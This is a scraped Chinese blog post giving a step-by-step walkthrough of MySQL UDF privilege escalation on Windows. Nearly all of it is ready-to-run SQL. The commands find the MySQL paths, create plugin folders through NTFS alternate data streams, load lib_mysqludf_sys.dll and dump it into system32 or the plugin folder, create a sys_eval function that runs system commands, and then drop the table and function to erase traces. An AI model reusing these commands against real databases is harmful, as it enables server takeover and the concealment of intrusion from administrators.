zoukankan      html  css  js  c++  java
  • udf提权小结

    00x1

    首先判断mysql版本,

    mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

    mysql版本 > 5.2 ,UDF导出到安装路径MySQLLibPlugin

    一般LibPlugin文件夹需要手工建立(可用流模式突破进而创建文件夹)

    可能会用到的命令:

    select @@datadir 路径

    select @@version 版本

    使用NTFS ADS流创建lib、plugin文件夹:

    某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
    select @@basedir;   //查找mysql的目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
    执行成功以后再进行导出即可。 

    00x2

    直接执行

    create function sys_eval returns string soname 'udf.dll'

    若成功则可直接执行命令。

    00x3

    mysql版本小于5.1此方法一般不成功,则需要导入dll到系统目录,一般导入到c:windowssystem32,如果不可写入则试试c:windows(一般5.0一下放这)。

    00x4

    具体语句如下:

    create table a (cmd LONGBLOB);
    
    insert into a (cmd) values (hex(load_file('D:\Program Files\MySQL\MySQL Server 5.0\Lib\Plugin\lib_mysqludf_sys.dll'))); 
    
    SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\windows\system32\udf.dll';
    
    create function sys_eval returns string soname 'udf.dll'
    
    select sys_eval('ipconfig');

    00x5

    擦除痕迹:

    drop table a;
    drop function sys_eval;

    Ps:一定要是root

  • 相关阅读:
    有理有据啊
    男人这辈子挺难的
    最 近 最 NB 的 人
    李安抽了中国电影人一记响亮的耳光
    听LeeHom的几首歌
    【Vegas原创】RMAN06059解决
    【Vegas原创】对应父节点的树状返回查询
    【OU】数据库备份与恢复测试
    【Vegas原创】用x$kvit视图查内部参数设置
    【Vegas原创】DG Build(Linux版)
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6016486.html
Copyright © 2011-2022 走看看